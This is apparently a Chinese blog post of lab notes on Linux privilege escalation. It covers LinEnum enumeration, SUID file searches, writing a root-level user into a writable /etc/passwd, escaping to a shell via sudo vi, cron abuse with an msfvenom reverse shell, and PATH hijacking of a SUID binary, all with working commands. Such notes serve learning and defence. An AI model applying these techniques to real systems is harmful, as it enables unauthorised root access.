常见 Linux 提权
Common Linux Privesc 记录
常见 Linux 提权的
提权方式:水平提权,垂直提权。
水平提权:这是您通过接管与您处于相同权限级别的不同用户来扩大您对受感染系统的影响的地方。
例如,一个普通用户劫持另一个普通用户(而不是提升为超级用户)。这允许您继承该用户拥有的任何文件和访问权限。例如,这可以用来获得另一个普通特权用户的访问权限,该用户恰好有一个 SUID 文件附加到他们的主目录(稍后会详细介绍),然后可以用来获得超级用户访问权限。
垂直提权:这是您尝试使用您已经泄露的现有帐户获得更高权限或访问权限的地方。对于本地权限升级攻击,这可能意味着劫持具有管理员权限或根权限的帐户。
枚举
使用工具LinEnum https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
在本地使用python3 -m http.server
然后目标机使用wget htpp://10.10.216.8:8000/LinEnum.sh 下载到本地
chmod +x LinEnum.sh
./LinEnum.sh 执行可查看到/etc/passwd 允许用户写入
cat /etc/passwd 查看user[x]
cat /etc/shells 查看系统可用shell
滥用 SUID/GUID 文件
Linux提权利用的第一步是检查设置了 SUID/GUID 位的文件。这意味着可以在文件所有者/组的权限下运行一个或多个文件。在这种情况下,作为超级用户。我们可以利用它来获得具有这些特权的 shell!
什么是 SUID 二进制文件?
在Linux中一切皆文件,包括目录和设备,它们具有允许或限制三种操作的权限,即读/写/执行。因此,当您为任何文件设置权限时,您应该了解您允许或限制所有三种权限的 Linux 用户。
r=读,w=写,x=执行
用户 组 其他
rwx rwx rwx
421 421 421
可用于为每个用户设置权限的最大位数为 7,它是读(4)写(2)和执行(1)操作的组合。
例如,如果您使用“chmod”设置权限为755,那么它将是:rwxr-xr-x
但是,当向每个用户授予特殊权限时,它就变成了 SUID 或 SGID。当额外的位“4”设置为用户
(所有者)时,它变为SUID(设置用户 ID),当位“2”设置为组时,它变为SGID(设置组 ID)
因此,查找SUID时要查找的权限为:
标识符:
rws-rwx-rwx
GUID:
rwx-rws-rwx
使用命令:“find / -perm -u=s -type f 2>/dev/null”在文件系统中搜索 SUID/GUID 文件。
参考find提权:https://www.cnblogs.com/-Lucky-/p/17160491.html
利用可写入的/etc/passwd
了解 /etc/passwd 格式
user71006:0:user7,,,:/home/user7:/bin/bash
用户:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:command/shell
用户名:用户登录时使用。长度应在 1 到 32 个字符之间。
密码:一个 x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值,在这种情况下,密码哈希值存储为“ X”。
用户 ID ( UID ):必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 保留,UID 1-99 为其他预定义帐户保留。进一步的 UID 100-999 由系统保留用于管理和系统帐户/组。
组 ID (GID):主要组 ID(存储在 /etc/group 文件中)
用户 ID 信息:评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由 finger 命令使用。
主目录:用户登录时所在目录的绝对路径。如果该目录不存在,则用户目录变为 /
Command/shell:命令或 shell 的绝对路径 (/bin/bash)。通常,这是一个外壳。请注意,它不一定是shell。
这种提权方式为vertical(垂直)
先使用openssl passwd -1 -salt [salt] [passwd] 来生成一个兼容的哈希密码
openssl passwd -1 -salt new 123
得
$1$new$p7ptkEKU1HnaHpRtzNizS1
此时写入/etc/passwd得格式为
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
echo "" >> /etc/passwd
su new 即可
转义vi编辑器
参考语法:https://zhuanlan.zhihu.com/p/155973403
利用 :!command 可直接执行系统命令
sudo -l
使用“sudo -l”来列出您可以作为该帐户的超级用户使用的命令。
发现能够以 root 用户身份运行某些命令而无需 root 密码。这可以让您提升权限。
sudo -l
(root) NOPASSWD: /usr/bin/vi
NOPASSWD
sudo vi
输入
:!sh即可root
利用Crontab
什么是 Cron?
Cron 守护进程是一个长期运行的进程,它在特定的日期和时间执行命令。您可以使用它来安排活动,
既可以作为一次性事件,也可以作为重复性任务。您可以创建一个 crontab 文件,其中包含供
Cron 守护程序执行的命令和说明。
使用命令“cat /etc/crontab”来查看安排了哪些cron 作业。
只要有机会,就应该始终手动检查这一点,尤其是在 LinEnum 或类似脚本未找到任何内容的情况下。
参考:https://www.runoob.com/linux/linux-comm-crontab.html
cat /etc/crontab 查看
使用msfvenom生成payload
参考反弹shell https://www.cnblogs.com/-Lucky-/p/17160172.html
写入
echo "" > 文件
即可
利用PATH变量
PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定保存可执行程序的目录。
当用户在终端中运行任何命令时,它会在 PATH 变量的帮助下搜索可执行文件以响应用户执行的命令。
假设我们有一个 SUID 二进制文件。运行它,我们可以看到它正在调用系统 shell 来做一个基本的过程,
比如用“ps”列出进程。与我们之前的 SUID 示例不同,在这种情况下我们无法通过提供命令注入参数来利用它,那么我们可以做些什么来尝试利用它呢?
我们可以将 PATH 变量重新写入我们选择的位置!因此,当 SUID 二进制文件调用系统 shell 来运行可执行文件时,它运行的是我们编写的文件!
与任何 SUID 文件一样,它将以与 SUID 文件所有者相同的权限运行此命令!如果这是 root,使用这个方法我们可以以 root 身份运行任何我们喜欢的命令!
例如我们有一个suid二进制文件script,运行结果与ls相同
假设此时在/tmp目录下,
此时
echo "/bin/bash" > ls 模仿可执行变量
chmod +x ls 执行权限
export PATH=/tmp:$PATH 修改环境变量为默认/tmp路径下
此时执行script就会去/tmp/下找ls。执行即 root
恢复正常
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: /usr/games:/usr/local/games:$PATH
常见 Linux 提权的更多相关文章
- Linux提权中常见命令大全
在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...
- Linux提权:从入门到放弃
*原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...
- 20. Linux提权:从入门到放弃
几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...
- Linux提权之:利用capabilities提权
Linux提权之:利用capabilities提权 目录 Linux提权之:利用capabilities提权 1 背景 2 Capabilities机制 3 线程与文件的capabilities 3. ...
- Linux提权(1)-基础版~
利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...
- 又一款linux提权辅助工具
又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...
- 记一次初步Linux提权
前言. 提权这么久了 还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器 要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...
- 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...
- 利用Metasploit进行Linux提权
利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...
- Unix/Linux提权漏洞快速检测工具unix-privesc-check
Unix/Linux提权漏洞快速检测工具unix-privesc-check unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...
随机推荐
- 剑指 offer 第 8 天
第 8 天 动态规划(简单) 剑指 Offer 10- I. 斐波那契数列 写一个函数,输入 n ,求斐波那契(Fibonacci)数列的第 n 项(即 F(N)).斐波那契数列的定义如下: F(0) ...
- 探究for循环中的var与let的区别
首先饮用一篇大佬写的博客:for循环中let与var的区别,块级作用域如何产生与迭代中变量i如何记忆上一步的猜想 这篇博客对我有所启发,但是有点抽象. 再借用<JavaScript高级程序设计& ...
- ICMP隐蔽隧道攻击分析与检测(二)
• ICMP协议流量特征分析 一.ASCII与HEX对照转换表 二.ICMP正常流量分析 经常使用的ping命令就是基于ICMP协议,Windows系统下ping默认传输的是:"abcdef ...
- app稳定性测试-iOS篇
稳定性测试:测试应用程序在长时间运行过程中是否存在内存泄漏.崩溃等问题,以确保应用程序具有较高的稳定性和可靠性. 对于安卓端,官方提供了很好的稳定性测试工具:monkey. 相比较而言,iOS则没有, ...
- PVE开启硬件显卡直通功能
首先编辑GRUB配置文件: root@pve:~# vim /etc/default/grub root@pve:~# root@pve:~# cat /etc/default/grub # If y ...
- [Linux/Java SE]查看JAR包内的类 | JAR 命令 | 反编译
1 查看JAR包内的类 另一个思路: 解压JAR包jar -xf <jarPath> 1-1 单JAR包 -t list table of contents for archive(列出存 ...
- Semantic Kernel 入门系列:💾Native Function
语义的归语义,语法的归语法. 基础定义 最基本的Native Function定义只需要在方法上添加 SKFunction 的特性即可. using Microsoft.SemanticKernel. ...
- day110:MoFang:重新构造用户关系状态&添加好友&处理好友申请&获取申请好友历史记录&好友列表显示
目录: 1.用户关系状态:重新构造 2.添加好友 3.处理好友申请 4.获取申请好友历史记录 5.好友列表 day109+day110所学内容流程图 1.用户关系状态:重新构造 在day109博客的前 ...
- Fatal error: Uncaught SoapFault exception:解决办法
SOAP-ERROR: Parsing WSDL: failed to load external entity Fatal error: Uncaught SoapFault exception: ...
- 测试环境治理之MYSQL索引优化篇
作者:京东物流 李光新 1 治理背景 测试环境这个话题对于开发和测试同学一定不陌生,大家几乎每天都会接触.但是说到对测试环境的印象,却鲜有好评: •环境不稳定,测试五分钟,排查两小时 •基础建设不全, ...